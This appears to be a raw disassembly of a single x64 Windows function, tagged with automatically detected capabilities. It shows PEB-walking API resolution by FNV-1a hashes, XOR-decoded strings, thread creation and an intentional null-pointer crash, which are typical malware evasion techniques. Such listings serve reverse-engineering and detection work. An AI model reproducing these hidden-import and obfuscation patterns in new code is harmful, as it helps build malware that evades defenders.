Function at 0x1400ed390
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Enumerate gui resources
Hash data using fnv
Resolve function by parsing pe exports
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
xor r14d, r14d
lea r8, [0x1400ee890]
mov qword [rsp + 0x28], r14
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
nop dword [rax]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 1
jb 0x1400ed6b3
cmp byte [0x1401eb83d], r14b
mov eax, dword [0x1401eb838]
vmovsd xmm0, qword [0x1401eb830]
mov dword [rbp - 0x38], eax
movzx eax, word [0x1401eb83c]
mov word [rbp - 0x34], ax
vmovsd qword [rbp - 0x40], xmm0
je 0x1400ed444
xor byte [rbp - 0x3f], 0x37
xor byte [rbp - 0x3e], 0x38
xor byte [rbp - 0x3d], 0x39
xor byte [rbp - 0x3c], 0x3a
xor byte [rbp - 0x3b], 0x3b
xor byte [rbp - 0x3a], 0x3c
xor byte [rbp - 0x39], 0x3d
xor byte [rbp - 0x38], 0x3e
xor byte [rbp - 0x37], 0x3f
xor byte [rbp - 0x36], 0x40
xor byte [rbp - 0x35], 0x41
xor byte [rbp - 0x34], 0x42
xor byte [rbp - 0x33], 0x43
mov byte [rbp - 0x40], 0x44
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
lea rax, [rbp - 0x40]
mov qword [rbp - 8], r14
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x1400ed460
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.14009dee0
lea rdx, [rbp - 0x20]
lea rcx, [0x140318b10]
call fcn.140171c90
call fcn.140084d80
call fcn.140084d80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400ed527
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400ed527
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400ed522
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400ed500
cmp r8d, 0xcded1a85
je 0x1400ed52c
test r9d, r9d
jne 0x1400ed4e0
mov rax, qword [rax]
jmp 0x1400ed4b0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400ed5d7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400ed5d7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400ed5d2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400ed5b0
cmp r8d, 0xe80fd3a
je 0x1400ed5dc
test r9d, r9d
jne 0x1400ed590
mov rax, qword [rax]
jmp 0x1400ed560
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400ed687
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400ed687
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400ed682
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400ed660
cmp r8d, 0xa52bcaf9
je 0x1400ed68c
test r9d, r9d
jne 0x1400ed640
mov rax, qword [rax]
jmp 0x1400ed610
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov eax, 0xdead
movabs dword [0], eax
mov eax, dword [0x1401eb840]
lea rcx, [rbp + 0x28]
mov dword [rbp + 0x28], eax
xor edx, edx
movzx eax, word [0x1401eb844]
xor byte [rbp + 0x29], 0x37
xor byte [rbp + 0x2a], 0x38
xor byte [rbp + 0x2b], 0x39
mov word [rbp + 0x2c], ax
xor byte [rbp + 0x2c], 0x3a
xor byte [rbp + 0x2d], 0x3b
mov byte [rbp + 0x28], reloc.WLDAP32.dll_Ordinal_46
call fcn.1400f0b20
test al, al
je 0x1400ed9c3
cmp byte [0x1401eb855], r14b
mov eax, dword [0x1401eb850]
vmovsd xmm0, qword [0x1401eb848]
mov dword [rbp - 0x2a], eax
movzx eax, word [0x1401eb854]
mov word [rbp - 0x26], ax
vmovsd qword [rbp - 0x32], xmm0
je 0x1400ed754
xor byte [rbp - 0x31], 0x37
xor byte [rbp - 0x30], 0x38
xor byte [rbp - 0x2f], 0x39
xor byte [rbp - 0x2e], 0x3a
xor byte [rbp - 0x2d], 0x3b
xor byte [rbp - 0x2c], 0x3c
xor byte [rbp - 0x2b], 0x3d
xor byte [rbp - 0x2a], 0x3e
xor byte [rbp - 0x29], 0x3f
xor byte [rbp - 0x28], 0x40
xor byte [rbp - 0x27], 0x41
xor byte [rbp - 0x26], 0x42
xor byte [rbp - 0x25], 0x43
mov byte [rbp - 0x32], 0x44
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
lea rax, [rbp - 0x32]
mov qword [rbp - 8], r14
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x1400ed770
lea rdx, [rbp - 0x32]
lea rcx, [rbp - 0x20]
call fcn.14009dee0
lea rdx, [rbp - 0x20]
lea rcx, [0x140318b10]
call fcn.140171c90
call fcn.140084d80
mov byte [0x140317908], 1
call fcn.140084d80
call fcn.140084d80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400ed837
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400ed837
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400ed832
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400ed810
cmp r8d, 0xcded1a85
je 0x1400ed83c
test r9d, r9d
jne 0x1400ed7f0
mov rax, qword [rax]
jmp 0x1400ed7c0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400ed8e7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400ed8e7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400ed8e2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400ed8c0
cmp r8d, 0xe80fd3a
je 0x1400ed8ec
test r9d, r9d
jne 0x1400ed8a0
mov rax, qword [rax]
jmp 0x1400ed870
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400ed997
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400ed997
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rdi]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400ed992
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1400ed970
cmp r8d, 0xa52bcaf9
je 0x1400ed99c
test r9d, r9d
jne 0x1400ed950
mov rax, qword [rax]
jmp 0x1400ed920
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov eax, 0xdead
movabs dword [0], eax
call fcn.1400fcb10
xor edx, edx
lea rcx, [0x1400ee8a0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400ed3d0